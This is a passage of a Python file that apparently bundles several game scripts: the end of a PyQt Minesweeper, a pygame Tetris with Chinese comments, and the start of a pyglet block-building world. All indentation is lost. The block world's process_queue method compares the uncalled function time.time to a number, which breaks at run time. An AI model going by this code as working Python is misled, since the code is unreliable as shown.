STATUS_FAILED: "./images/cross.png",
STATUS_SUCCESS: "./images/smiley-lol.png",
}
class Pos(QWidget):
expandable = pyqtSignal(int, int)
clicked = pyqtSignal()
ohno = pyqtSignal()
def __init__(self, x, y, *args, **kwargs):
super(Pos, self).__init__(*args, **kwargs)
self.setFixedSize(QSize(20, 20))
self.x = x
self.y = y
def reset(self):
self.is_start = False
self.is_mine = False
self.adjacent_n = 0
self.is_revealed = False
self.is_flagged = False
self.update()
def paintEvent(self, event):
p = QPainter(self)
p.setRenderHint(QPainter.Antialiasing)
r = event.rect()
if self.is_revealed:
color = self.palette().color(QPalette.Background)
outer, inner = color, color
else:
outer, inner = Qt.gray, Qt.lightGray
p.fillRect(r, QBrush(inner))
pen = QPen(outer)
pen.setWidth(1)
p.setPen(pen)
p.drawRect(r)
if self.is_revealed:
if self.is_start:
p.drawPixmap(r, QPixmap(IMG_START))
elif self.is_mine:
p.drawPixmap(r, QPixmap(IMG_BOMB))
elif self.adjacent_n > 0:
pen = QPen(NUM_COLORS[self.adjacent_n])
p.setPen(pen)
f = p.font()
f.setBold(True)
p.setFont(f)
p.drawText(r, Qt.AlignHCenter | Qt.AlignVCenter, str(self.adjacent_n))
elif self.is_flagged:
p.drawPixmap(r, QPixmap(IMG_FLAG))
def flag(self):
self.is_flagged = True
self.update()
self.clicked.emit()
def reveal(self):
self.is_revealed = True
self.update()
def click(self):
if not self.is_revealed:
self.reveal()
if self.adjacent_n == 0:
self.expandable.emit(self.x, self.y)
self.clicked.emit()
def mouseReleaseEvent(self, e):
if (e.button() == Qt.RightButton and not self.is_revealed):
self.flag()
elif (e.button() == Qt.LeftButton):
self.click()
if self.is_mine:
self.ohno.emit()
class MainWindow(QMainWindow):
def __init__(self, *args, **kwargs):
super(MainWindow, self).__init__(*args, **kwargs)
self.b_size, self.n_mines = LEVELS[1]
w = QWidget()
hb = QHBoxLayout()
self.mines = QLabel()
self.mines.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)
self.clock = QLabel()
self.clock.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)
f = self.mines.font()
f.setPointSize(24)
f.setWeight(75)
self.mines.setFont(f)
self.clock.setFont(f)
self._timer = QTimer()
self._timer.timeout.connect(self.update_timer)
self._timer.start(1000) # 1 second timer
self.mines.setText("%03d" % self.n_mines)
self.clock.setText("000")
self.button = QPushButton()
self.button.setFixedSize(QSize(32, 32))
self.button.setIconSize(QSize(32, 32))
self.button.setIcon(QIcon("./images/smiley.png"))
self.button.setFlat(True)
self.button.pressed.connect(self.button_pressed)
l = QLabel()
l.setPixmap(QPixmap.fromImage(IMG_BOMB))
l.setAlignment(Qt.AlignRight | Qt.AlignVCenter)
hb.addWidget(l)
hb.addWidget(self.mines)
hb.addWidget(self.button)
hb.addWidget(self.clock)
l = QLabel()
l.setPixmap(QPixmap.fromImage(IMG_CLOCK))
l.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)
hb.addWidget(l)
vb = QVBoxLayout()
vb.addLayout(hb)
self.grid = QGridLayout()
self.grid.setSpacing(5)
vb.addLayout(self.grid)
w.setLayout(vb)
self.setCentralWidget(w)
self.init_map()
self.update_status(STATUS_READY)
self.reset_map()
self.update_status(STATUS_READY)
self.show()
def init_map(self):
# Add positions to the map
for x in range(0, self.b_size):
for y in range(0, self.b_size):
w = Pos(x, y)
self.grid.addWidget(w, y, x)
# Connect signal to handle expansion.
w.clicked.connect(self.trigger_start)
w.expandable.connect(self.expand_reveal)
w.ohno.connect(self.game_over)
def reset_map(self):
# Clear all mine positions
for x in range(0, self.b_size):
for y in range(0, self.b_size):
w = self.grid.itemAtPosition(y, x).widget()
w.reset()
# Add mines to the positions
positions = []
while len(positions) < self.n_mines:
x, y = random.randint(0, self.b_size - 1), random.randint(0, self.b_size - 1)
if (x, y) not in positions:
w = self.grid.itemAtPosition(y, x).widget()
w.is_mine = True
positions.append((x, y))
def get_adjacency_n(x, y):
positions = self.get_surrounding(x, y)
n_mines = sum(1 if w.is_mine else 0 for w in positions)
return n_mines
# Add adjacencies to the positions
for x in range(0, self.b_size):
for y in range(0, self.b_size):
w = self.grid.itemAtPosition(y, x).widget()
w.adjacent_n = get_adjacency_n(x, y)
# Place starting marker
while True:
x, y = random.randint(0, self.b_size - 1), random.randint(0, self.b_size - 1)
w = self.grid.itemAtPosition(y, x).widget()
# We don't want to start on a mine.
if (x, y) not in positions:
w = self.grid.itemAtPosition(y, x).widget()
w.is_start = True
# Reveal all positions around this, if they are not mines either.
for w in self.get_surrounding(x, y):
if not w.is_mine:
w.click()
break
def get_surrounding(self, x, y):
positions = []
for xi in range(max(0, x - 1), min(x + 2, self.b_size)):
for yi in range(max(0, y - 1), min(y + 2, self.b_size)):
positions.append(self.grid.itemAtPosition(yi, xi).widget())
return positions
def button_pressed(self):
if self.status == STATUS_PLAYING:
self.update_status(STATUS_FAILED)
self.reveal_map()
elif self.status == STATUS_FAILED:
self.update_status(STATUS_READY)
self.reset_map()
def reveal_map(self):
for x in range(0, self.b_size):
for y in range(0, self.b_size):
w = self.grid.itemAtPosition(y, x).widget()
w.reveal()
def expand_reveal(self, x, y):
for xi in range(max(0, x - 1), min(x + 2, self.b_size)):
for yi in range(max(0, y - 1), min(y + 2, self.b_size)):
w = self.grid.itemAtPosition(yi, xi).widget()
if not w.is_mine:
w.click()
def trigger_start(self, *args):
if self.status != STATUS_PLAYING:
# First click.
self.update_status(STATUS_PLAYING)
# Start timer.
self._timer_start_nsecs = int(time.time())
def update_status(self, status):
self.status = status
self.button.setIcon(QIcon(STATUS_ICONS[self.status]))
def update_timer(self):
if self.status == STATUS_PLAYING:
n_secs = int(time.time()) - self._timer_start_nsecs
self.clock.setText("%03d" % n_secs)
def game_over(self):
self.reveal_map()
self.update_status(STATUS_FAILED)
if __name__ == '__main__':
app = QApplication([])
window = MainWindow()
app.exec_()
def my6():
gridSize = (12, 17) # 宽 * 高
MinHeight = 2
GameStatus = list(enumerate(["Ready", "Gaming", "GameOver"]))
ColorList = [(250, 0, 0), (0, 250, 0), (0, 0, 250), (250, 250, 0), (0, 250, 250), (250, 0, 250), (250, 100, 0)]
IDList = list(range(7))
def stuff_list(stuff_id):
if stuff_id == 0:
ptr = [[0, 0], [0, 1], [0, 2], [0, 3]]
elif stuff_id == 1:
ptr = [[0, 0], [0, 1], [0, 2], [1, 0]]
elif stuff_id == 2:
ptr = [[0, 1], [0, 0], [0, 2], [1, 1]]
elif stuff_id == 3:
ptr = [[0, 2], [0, 1], [0, 0], [1, 2]]
elif stuff_id == 4:
ptr = [[0, 0], [0, 1], [1, 0], [1, 1]]
elif stuff_id == 5:
ptr = [[0, 1], [0, 0], [1, 1], [1, 2]]
else:
ptr = [[0, 1], [0, 2], [1, 0], [1, 1]]
return ptr
class Stuff:
def __init__(self, stuff_id):
self.space = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 记录已固定的方块
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
self.id = stuff_id
self.ptr = []
self.new_stuff(stuff_id)
def new_stuff(self, stuff_id):
self.id = stuff_id
if self.id == 0:
self.ptr = [[0, 4], [0, 3], [0, 5], [0, 6]]
elif self.id == 1:
self.ptr = [[0, 4], [0, 3], [0, 5], [1, 3]]
elif self.id == 2:
self.ptr = [[0, 4], [0, 3], [0, 5], [1, 4]]
elif self.id == 3:
self.ptr = [[0, 4], [0, 5], [0, 3], [1, 5]]
elif self.id == 4:
self.ptr = [[0, 4], [0, 3], [1, 3], [1, 4]]
elif self.id == 5:
self.ptr = [[0, 4], [0, 3], [1, 4], [1, 5]]
else:
self.ptr = [[0, 4], [0, 5], [1, 3], [1, 4]]
def crash(self):
"""
return: 0: no crash
1: down crash
2: up crash
3: left crash
4: right crash
5: note crash
"""
for i in range(4):
if self.ptr[i][0] > gridSize[1]-1:
return 1
elif self.ptr[i][0] < 0:
return 2
elif self.ptr[i][1] > gridSize[0]-1:
return 3
elif self.ptr[i][1] < 0:
return 4
elif self.space[self.ptr[i][0]][self.ptr[i][1]] != 0:
return 5
return 0
def fix_stuff(self): # 固定
for ptr in self.ptr:
self.space[ptr[0]][ptr[1]] = self.id + 1
del_list = []
for i in range(len(self.space)): # 判断是否满行
flag = True
for g in self.space[i]:
if g == 0:
flag = False
break
if flag:
del_list.append(i)
for i in del_list:
del self.space[i]
self.space.insert(0, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])
# return len(del_list) 此处可加一个返回,用于方便计算分数
def down(self):
temp_ptr = copy.deepcopy(self.ptr)
for i in range(4):
self.ptr[i][0] += 1
crash_result = self.crash()
if crash_result != 0:
self.ptr = copy.deepcopy(temp_ptr)
return False
return True
def up(self):
temp_ptr = copy.deepcopy(self.ptr)
for i in range(4):
self.ptr[i][0] -= 1
crash_result = self.crash()
if crash_result != 0:
self.ptr = copy.deepcopy(temp_ptr)
return False
return True
def left(self):
temp_ptr = copy.deepcopy(self.ptr)
for i in range(4):
self.ptr[i][1] -= 1
crash_result = self.crash()
if crash_result != 0:
self.ptr = copy.deepcopy(temp_ptr)
return False
return True
def right(self):
temp_ptr = copy.deepcopy(self.ptr)
for i in range(4):
self.ptr[i][1] += 1
crash_result = self.crash()
if crash_result != 0:
self.ptr = copy.deepcopy(temp_ptr)
return False
return True
def rotate(self): # 旋转方块
temp_ptr = copy.deepcopy(self.ptr)
for i in range(1, 4):
temp_y, temp_x = temp_ptr[0][0], temp_ptr[0][1]
i_y, i_x = temp_ptr[i][0], temp_ptr[i][1]
self.ptr[i] = [temp_ptr[0][0] - temp_ptr[i][1] + temp_ptr[0][1], # 逆时针旋转
temp_ptr[0][1] + temp_ptr[i][0] - temp_ptr[0][0]]
# self.ptr[i][0] = temp_ptr[0][0] + temp_ptr[i][1] - temp_ptr[0][1]
crash_result = self.crash()
if crash_result == 0:
return True
elif crash_result == 1:
if self.up():
return True
elif crash_result == 2:
if self.down():
return True
elif crash_result == 3:
if self.left():
return True
elif crash_result == 4:
if self.right():
return True
self.ptr = copy.deepcopy(temp_ptr)
return False
def over(self): #游戏结束判断
for i in range(1):
for value in self.space[i]:
if value != 0:
return True
return False
def show_text(screen, pos, text, text_color, font_bold=False, font_size=60, font_italic=False, font_mediate=True):
# 获取系统字体,并设置文字大小
cur_font = pygame.font.SysFont("宋体", font_size)
# 设置是否加粗属性
cur_font.set_bold(font_bold)
# 设置是否斜体属性
cur_font.set_italic(font_italic)
# 设置文字内容
text_fmt = cur_font.render(text, 1, text_color)
text_pos = text_fmt.get_rect()
text_pos.midtop = pos
# 绘制文字
if font_mediate:
# 判断是否居中
screen.blit(text_fmt, text_pos)
else:
screen.blit(text_fmt, pos)
def main():
pygame.init()
ftpsClock = pygame.time.Clock()
screen = pygame.display.set_mode((800, 800))
pygame.display.set_caption("Tetris")
GAME_STATUS = 0
next_stuff = choice(IDList)
curr_stuff = choice(IDList)
stuff = Stuff(curr_stuff)
next_ptr = stuff_list(next_stuff)
gamingTime = time.time()
while True:
screen.fill((150, 150, 150))
pygame.draw.rect(screen, (50, 50, 50), (50, 50, 500, 700))
pygame.draw.rect(screen, (100, 100, 100), (60, 60, 480, 80))
if GAME_STATUS == 0: # Ready
for event in pygame.event.get(): # 事件遍历
if event.type == QUIT:
pygame.quit()
sys.exit()
if event.type == KEYDOWN: # 按键按下
if event.key in [K_RETURN, K_KP_ENTER]:
GAME_STATUS = 1
show_text(screen, (400, 400), "Press enter to start game", (250, 250, 0), font_size=80)
elif GAME_STATUS == 1: # gaming
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sys.exit()
if event.type == KEYDOWN:
if event.key in [K_UP, K_w, K_SPACE]:
stuff.rotate()
if event.key in [K_LEFT, K_a]:
stuff.left()
if event.key in [K_RIGHT, K_d]:
stuff.right()
if event.key in [K_DOWN, K_s]: # 这里因为只判断了KEYDOWN,所以无论你按多久,都只会触发一次
stuff.down() # 如果想实现长按快速下落这个效果可以和KEYUP事件一起食用
if time.time() - gamingTime > 0.5:
gamingTime = time.time()
if not stuff.down():
stuff.fix_stuff()
curr_stuff = next_stuff
next_stuff = choice(IDList)
stuff.new_stuff(curr_stuff)
next_ptr = stuff_list(next_stuff)
for pos in next_ptr:
pygame.draw.rect(screen, ColorList[next_stuff], (601 + 50 * pos[1], 101 + 50 * pos[0], 48, 48))
for i in range(gridSize[1]):
for j in range(gridSize[0]):
ID = stuff.space[i][j]
if ID != 0:
pygame.draw.rect(screen, ColorList[ID - 1], (61 + 40 * j, 61 + 40 * i, 38, 38))
for pos in stuff.ptr:
pygame.draw.rect(screen, ColorList[stuff.id], (61 + 40 * pos[1], 61 + 40 * pos[0], 38, 38))
if stuff.over():
GAME_STATUS = 2
elif GAME_STATUS == 2: # Game over
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sys.exit()
if event.type == KEYDOWN:
if event.key in [K_RETURN, K_KP_ENTER]:
GAME_STATUS = 0
next_stuff = choice(IDList)
curr_stuff = choice(IDList)
stuff = Stuff(curr_stuff)
next_ptr = stuff_list(next_stuff)
show_text(screen, (400, 350), "GameOver", (250, 250, 0), font_size=80)
show_text(screen, (400, 450), "Press enter to start game", (250, 250, 0), font_size=80)
pygame.display.flip()
ftpsClock.tick(20) # 每秒20帧
if __name__ == '__main__':
main()
def my7():
# 每秒帧数
TICKS_PER_SEC = 120
# 你可以走的大小
SECTOR_SIZE = 2000
# 行走速度与飞行速度
WALKING_SPEED = 5.5
FLYING_SPEED = 15
# 重力与跳跃高度
GRAVITY = 20
MAX_JUMP_HEIGHT = 1
JUMP_SPEED = math.sqrt(2 * GRAVITY * MAX_JUMP_HEIGHT)
TERMINAL_VELOCITY = 50
PLAYER_HEIGHT = 2
if sys.version_info[0] >= 3:
xrange = range
def cube_vertices(x, y, z, n):
""" Return the vertices of the cube at position x, y, z with size 2*n.
"""
return [
x-n, y+n, z-n, x-n, y+n, z+n, x+n, y+n, z+n, x+n, y+n, z-n, # top
x-n, y-n, z-n, x+n, y-n, z-n, x+n, y-n, z+n, x-n, y-n, z+n, # bottom
x-n, y-n, z-n, x-n, y-n, z+n, x-n, y+n, z+n, x-n, y+n, z-n, # left
x+n, y-n, z+n, x+n, y-n, z-n, x+n, y+n, z-n, x+n, y+n, z+n, # right
x-n, y-n, z+n, x+n, y-n, z+n, x+n, y+n, z+n, x-n, y+n, z+n, # front
x+n, y-n, z-n, x-n, y-n, z-n, x-n, y+n, z-n, x+n, y+n, z-n, # back
]
def tex_coord(x, y, n=4):
"""
Return the bounding vertices of the texture square.
"""
m = 1.0 / n
dx = x * m
dy = y * m
return dx, dy, dx + m, dy, dx + m, dy + m, dx, dy + m
def tex_coords(top, bottom, side):
"""
Return a list of the texture squares for the top, bottom and side.
"""
top = tex_coord(*top)
bottom = tex_coord(*bottom)
side = tex_coord(*side)
result = []
result.extend(top)
result.extend(bottom)
result.extend(side * 4)
return result
TEXTURE_PATH = 'texture.png'
GRASS = tex_coords((1, 0), (0, 1), (0, 0))
SAND = tex_coords((1, 1), (1, 1), (1, 1))
BRICK = tex_coords((2, 0), (2, 0), (2, 0))
STONE = tex_coords((2, 1), (2, 1), (2, 1))
PURPLE = tex_coords((3, 1), (3, 1), (3, 1))
RED = tex_coords((3, 0), (3, 0), (3, 0))
GREEN = tex_coords((3, 2), (3, 2), (3, 2))
BLUE = tex_coords((1, 2), (1, 2), (1, 2))
BLACK = tex_coords((2, 2), (2, 2), (2, 2))
ORANGE = tex_coords((3, 2), (3, 2), (3, 2))
FACES = [
(0, 1, 0),
(0, -1, 0),
(-1, 0, 0),
(1, 0, 0),
(0, 0, 1),
(0, 0, -1),
]
def normalize(position):
""" Accepts `position` of arbitrary precision and returns the block
containing that position.
Parameters
----------
position : tuple of len 3
Returns
-------
block_position : tuple of ints of len 3
"""
x, y, z = position
x, y, z = (int(round(x)), int(round(y)), int(round(z)))
return (x, y, z)
def sectorize(position):
""" Returns a tuple representing the sector for the given `position`.
Parameters
----------
position : tuple of len 3
Returns
-------
sector : tuple of len 3
"""
x, y, z = normalize(position)
x, y, z = x // SECTOR_SIZE, y // SECTOR_SIZE, z // SECTOR_SIZE
return (x, 0, z)
class Model(object):
def __init__(self):
# A Batch is a collection of vertex lists for batched rendering.
self.batch = pyglet.graphics.Batch()
# A TextureGroup manages an OpenGL texture.
self.group = TextureGroup(image.load(TEXTURE_PATH).get_texture())
# A mapping from position to the texture of the block at that position.
# This defines all the blocks that are currently in the world.
self.world = {}
# Same mapping as `world` but only contains blocks that are shown.
self.shown = {}
# Mapping from position to a pyglet `VertextList` for all shown blocks.
self._shown = {}
# Mapping from sector to a list of positions inside that sector.
self.sectors = {}
# Simple function queue implementation. The queue is populated with
# _show_block() and _hide_block() calls
self.queue = deque()
self._initialize()
def _initialize(self):
""" Initialize the world by placing all the blocks.
"""
n = 200 # 1/2 width and height of world
s = 1 # step size
y = 0 # initial y height
for x in xrange(-n, n + 1, s):
for z in xrange(-n, n + 1, s):
# create a layer stone an grass everywhere.
self.add_block((x, y - 2, z), GRASS, immediate=False)
self.add_block((x, y - 3, z), STONE, immediate=False)
if x in (-n, n) or z in (-n, n):
# create outer walls.
for dy in xrange(-2, 3):
self.add_block((x, y + dy, z), STONE, immediate=False)
# generate the hills randomly
o = n - 15
for _ in xrange(120):
a = random.randint(-o, o) # x position of the hill
b = random.randint(-o, o) # z position of the hill
c = -1 # base of the hill
h = random.randint(2, 6) # height of the hill
s = random.randint(4, 12) # 2 * s is the side length of the hill
d = 1 # how quickly to taper off the hills
t = random.choice([GRASS, SAND, STONE])
for y in xrange(c, c + h):
for x in xrange(a - s, a + s + 1):
for z in xrange(b - s, b + s + 1):
if (x - a) ** 2 + (z - b) ** 2 > (s + 1) ** 2:
continue
if (x - 0) ** 2 + (z - 0) ** 2 < 5 ** 2:
continue
self.add_block((x, y, z), t, immediate=False)
s -= d # decrement side lenth so hills taper off
def hit_test(self, position, vector, max_distance=8):
""" Line of sight search from current position. If a block is
intersected it is returned, along with the block previously in the line
of sight. If no block is found, return None, None.
Parameters
----------
position : tuple of len 3
The (x, y, z) position to check visibility from.
vector : tuple of len 3
The line of sight vector.
max_distance : int
How many blocks away to search for a hit.
"""
m = 8
x, y, z = position
dx, dy, dz = vector
previous = None
for _ in xrange(max_distance * m):
key = normalize((x, y, z))
if key != previous and key in self.world:
return key, previous
previous = key
x, y, z = x + dx / m, y + dy / m, z + dz / m
return None, None
def exposed(self, position):
""" Returns False is given `position` is surrounded on all 6 sides by
blocks, True otherwise.
"""
x, y, z = position
for dx, dy, dz in FACES:
if (x + dx, y + dy, z + dz) not in self.world:
return True
return False
def add_block(self, position, texture, immediate=True):
""" Add a block with the given `texture` and `position` to the world.
Parameters
----------
position : tuple of len 3
The (x, y, z) position of the block to add.
texture : list of len 3
The coordinates of the texture squares. Use `tex_coords()` to
generate.
immediate : bool
Whether or not to draw the block immediately.
"""
if position in self.world:
self.remove_block(position, immediate)
self.world[position] = texture
self.sectors.setdefault(sectorize(position), []).append(position)
if immediate:
if self.exposed(position):
self.show_block(position)
self.check_neighbors(position)
def remove_block(self, position, immediate=True):
""" Remove the block at the given `position`.
Parameters
----------
position : tuple of len 3
The (x, y, z) position of the block to remove.
immediate : bool
Whether or not to immediately remove block from canvas.
"""
del self.world[position]
self.sectors[sectorize(position)].remove(position)
if immediate:
if position in self.shown:
self.hide_block(position)
self.check_neighbors(position)
def check_neighbors(self, position):
""" Check all blocks surrounding `position` and ensure their visual
state is current. This means hiding blocks that are not exposed and
ensuring that all exposed blocks are shown. Usually used after a block
is added or removed.
"""
x, y, z = position
for dx, dy, dz in FACES:
key = (x + dx, y + dy, z + dz)
if key not in self.world:
continue
if self.exposed(key):
if key not in self.shown:
self.show_block(key)
else:
if key in self.shown:
self.hide_block(key)
def show_block(self, position, immediate=True):
""" Show the block at the given `position`. This method assumes the
block has already been added with add_block()
Parameters
----------
position : tuple of len 3
The (x, y, z) position of the block to show.
immediate : bool
Whether or not to show the block immediately.
"""
texture = self.world[position]
self.shown[position] = texture
if immediate:
self._show_block(position, texture)
else:
self._enqueue(self._show_block, position, texture)
def _show_block(self, position, texture):
""" Private implementation of the `show_block()` method.
Parameters
----------
position : tuple of len 3
The (x, y, z) position of the block to show.
texture : list of len 3
The coordinates of the texture squares. Use `tex_coords()` to
generate.
"""
x, y, z = position
vertex_data = cube_vertices(x, y, z, 0.5)
texture_data = list(texture)
# create vertex list
# FIXME Maybe `add_indexed()` should be used instead
self._shown[position] = self.batch.add(24, GL_QUADS, self.group,
('v3f/static', vertex_data),
('t2f/static', texture_data))
def hide_block(self, position, immediate=True):
""" Hide the block at the given `position`. Hiding does not remove the
block from the world.
Parameters
----------
position : tuple of len 3
The (x, y, z) position of the block to hide.
immediate : bool
Whether or not to immediately remove the block from the canvas.
"""
self.shown.pop(position)
if immediate:
self._hide_block(position)
else:
self._enqueue(self._hide_block, position)
def _hide_block(self, position):
""" Private implementation of the 'hide_block()` method.
"""
self._shown.pop(position).delete()
def show_sector(self, sector):
""" Ensure all blocks in the given sector that should be shown are
drawn to the canvas.
"""
for position in self.sectors.get(sector, []):
if position not in self.shown and self.exposed(position):
self.show_block(position, False)
def hide_sector(self, sector):
""" Ensure all blocks in the given sector that should be hidden are
removed from the canvas.
"""
for position in self.sectors.get(sector, []):
if position in self.shown:
self.hide_block(position, False)
def change_sectors(self, before, after):
""" Move from sector `before` to sector `after`. A sector is a
contiguous x, y sub-region of world. Sectors are used to speed up
world rendering.
"""
before_set = set()
after_set = set()
pad = 4
for dx in xrange(-pad, pad + 1):
for dy in [0]: # xrange(-pad, pad + 1):
for dz in xrange(-pad, pad + 1):
if dx ** 2 + dy ** 2 + dz ** 2 > (pad + 1) ** 2:
continue
if before:
x, y, z = before
before_set.add((x + dx, y + dy, z + dz))
if after:
x, y, z = after
after_set.add((x + dx, y + dy, z + dz))
show = after_set - before_set
hide = before_set - after_set
for sector in show:
self.show_sector(sector)
for sector in hide:
self.hide_sector(sector)
def _enqueue(self, func, *args):
""" Add `func` to the internal queue.
"""
self.queue.append((func, args))
def _dequeue(self):
""" Pop the top function from the internal queue and call it.
"""
func, args = self.queue.popleft()
func(*args)
def process_queue(self):
""" Process the entire queue while taking periodic breaks. This allows
the game loop to run smoothly. The queue contains calls to
_show_block() and _hide_block() so this method should be called if
add_block() or remove_block() was called with immediate=False
"""
start = time.time
while self.queue and time.time < 1 / TICKS_PER_SEC:
self._dequeue()
def process_entire_queue(self):
""" Process the entire queue with no breaks.
"""
while self.queue:
self._dequeue()
class Window(pyglet.window.Window):
def __init__(self, *args, **kwargs):
super(Window, self).__init__(*args, **kwargs)
# Whether or not the window exclusively captures the mouse.
self.exclusive = False
# When flying gravity has no effect and speed is increased.
self.flying = False
# Strafing is moving lateral to the direction you are facing,
# e.g. moving to the left or right while continuing to face forward.
#
# First element is -1 when moving forward, 1 when moving back, and 0
# otherwise. The second element is -1 when moving left, 1 when moving
# right, and 0 otherwise.
self.strafe = [0, 0]
# Current (x, y, z) position in the world, specified with floats. Note
# that, perhaps unlike in math class, the y-axis is the vertical axis.
self.position = (0, 0, 0)
# First element is rotation of the player in the x-z plane (ground
# plane) measured from the z-axis down. The second is the rotation
# angle from the ground plane up. Rotation is in degrees.
#
# The vertical plane rotation ranges from -90 (looking straight down) to
# 90 (looking straight up). The horizontal rotation range is unbounded.
self.rotation = (0, 0)
# Which sector the player is currently in.
self.sector = None
# The crosshairs at the center of the screen.
self.reticle = None
# Velocity in the y (upward) direction.
self.dy = 0
# A list of blocks the player can place. Hit num keys to cycle.
self.inventory = [BRICK, GRASS, SAND, STONE,
RED, PURPLE, GREEN, BLUE, BLACK, ORANGE]
# The current block the user can place. Hit num keys to cycle.
self.block = self.inventory[0]
# Convenience list of num keys.
self.num_keys = [
key._1, key._2, key._3, key._4, key._5,
key._6, key._7, key._8, key._9, key._0, key.E, key.R]
# Instance of the model that handles the world.
self.model = Model()
# The label that is displayed in the top left of the canvas.
self.label = pyglet.text.Label('', font_name='Arial', font_size=18,
x=10, y=self.height - 10, anchor_x='left', anchor_y='top',
color=(0, 0, 0, 255))
# This call schedules the `update()` method to be called
# TICKS_PER_SEC. This is the main game event loop.
pyglet.clock.schedule_interval(self.update, 1.0 / TICKS_PER_SEC)
def set_exclusive_mouse(self, exclusive):
""" If `exclusive` is True, the game will capture the mouse, if False
the game will ignore the mouse.
"""
super(Window, self).set_exclusive_mouse(exclusive)
self.exclusive = exclusive
def get_sight_vector(self):
""" Returns the current line of sight vector indicating the direction
the player is looking.
"""
x, y = self.rotation
# y ranges from -90 to 90, or -pi/2 to pi/2, so m ranges from 0 to 1 and
# is 1 when looking ahead parallel to the ground and 0 when looking
# straight up or down.
m = math.cos(math.radians(y))
# dy ranges from -1 to 1 and is -1 when looking straight down and 1 when
# looking straight up.
dy = math.sin(math.radians(y))
dx = math.cos(math.radians(x - 90)) * m
dz = math.sin(math.radians(x - 90)) * m
return (dx, dy, dz)
def get_motion_vector(self):
""" Returns the current motion vector indicating the velocity of the
player.
Returns
-------
vector : tuple of len 3
Tuple containing the velocity in x, y, and z respectively.
"""
if any(self.strafe):
x, y = self.rotation
strafe = math.degrees(math.atan2(*self.strafe))
y_angle = math.radians(y)
x_angle = math.radians(x + strafe)
if self.flying:
m = math.cos(y_angle)
dy = math.sin(y_angle)
if self.strafe[1]:
# Moving left or right.
dy = 0.0
m = 1
if self.strafe[0] > 0:
# Moving backwards.
dy *= -1
# When you are flying up or down, you have less left and right
# motion.
dx = math.cos(x_angle) * m
dz = math.sin(x_angle) * m
else:
dy = 0.0
dx = math.cos(x_angle)
dz = math.sin(x_angle)
else:
dy = 0.0
dx = 0.0
dz = 0.0
return (dx, dy, dz)
def update(self, dt):
""" This method is scheduled to be called repeatedly by the pyglet
clock.
Parameters
----------
dt : float
The change in time since the last call.
"""
self.model.process_queue()
sector = sectorize(self.position)
if sector != self.sector:
self.model.change_sectors(self.sector, sector)
if self.sector is None:
self.model.process_entire_queue()
self.sector = sector
m = 8
dt = min(dt, 0.2)
for _ in xrange(m):
self._update(dt / m)
def _update(self, dt):
""" Private implementation of the `update()` method. This is where most
of the motion logic lives, along with gravity and collision detection.
Parameters
----------
dt : float
The change in time since the last call.
"""
# walking
speed = FLYING_SPEED if self.flying else WALKING_SPEED
d = dt * speed # distance covered this tick.
dx, dy, dz = self.get_motion_vector()
# New position in space, before accounting for gravity.
dx, dy, dz = dx * d, dy * d, dz * d
# gravity
if not self.flying:
# Update your vertical speed: if you are falling, speed up until you
# hit terminal velocity; if you are jumping, slow down until you
# start falling.
self.dy -= dt * GRAVITY
self.dy = max(self.dy, -TERMINAL_VELOCITY)
dy += self.dy * dt
# collisions
x, y, z = self.position
x, y, z = self.collide((x + dx, y + dy, z + dz), PLAYER_HEIGHT)
self.position = (x, y, z)
def collide(self, position, height):
""" Checks to see if the player at the given `position` and `height`
is colliding with any blocks in the world.
Parameters
----------
position : tuple of len 3
The (x, y, z) position to check for collisions at.
height : int or float
The height of the player.
Returns
-------
position : tuple of len 3
The new position of the player taking into account collisions.
"""
# How much overlap with a dimension of a surrounding block you need to
# have to count as a collision. If 0, touching terrain at all counts as
# a collision. If .49, you sink into the ground, as if walking through
# tall grass. If >= .5, you'll fall through the ground.
pad = 0
p = list(position)
np = normalize(position)
for face in FACES: # check all surrounding blocks
for i in xrange(3): # check each dimension independently
if not face[i]:
continue
# How much overlap you have with this dimension.
d = (p[i] - np[i]) * face[i]
if d < pad:
continue
for dy in xrange(height): # check each height
op = list(np)
op[1] -= dy
op[i] += face[i]
if tuple(op) not in self.model.world:
continue
p[i] -= (d - pad) * face[i]
if face == (0, -1, 0) or face == (0, 1, 0):
# You are colliding with the ground or ceiling, so stop
# falling / rising.
self.dy = 0
break
return tuple(p)
def on_mouse_press(self, x, y, button, modifiers):
""" Called when a mouse button is pressed. See pyglet docs for button
amd modifier mappings.
Parameters
----------
x, y : int
The coordinates of the mouse click. Always center of the screen if
the mouse is captured.
button : int
Number representing mouse button that was clicked. 1 = left button,
4 = right button.
modifiers : int
Number representing any modifying keys that were pressed when the
mouse button was clicked.
"""
if self.exclusive:
vector = self.get_sight_vector()
block, previous = self.model.hit_test(self.position, vector)
if (button == mouse.RIGHT) or \
((button == mouse.LEFT) and (modifiers & key.MOD_CTRL)):
# ON OSX, control + left click = right click.
if previous:
self.model.add_block(previous, self.block)
elif button == pyglet.window.mouse.LEFT and block:
texture = self.model.world[block]
self.model.remove_block(block)
else:
self.set_exclusive_mouse(True)
def on_mouse_motion(self, x, y, dx, dy):
""" Called when the player moves the mouse.
Parameters
----------
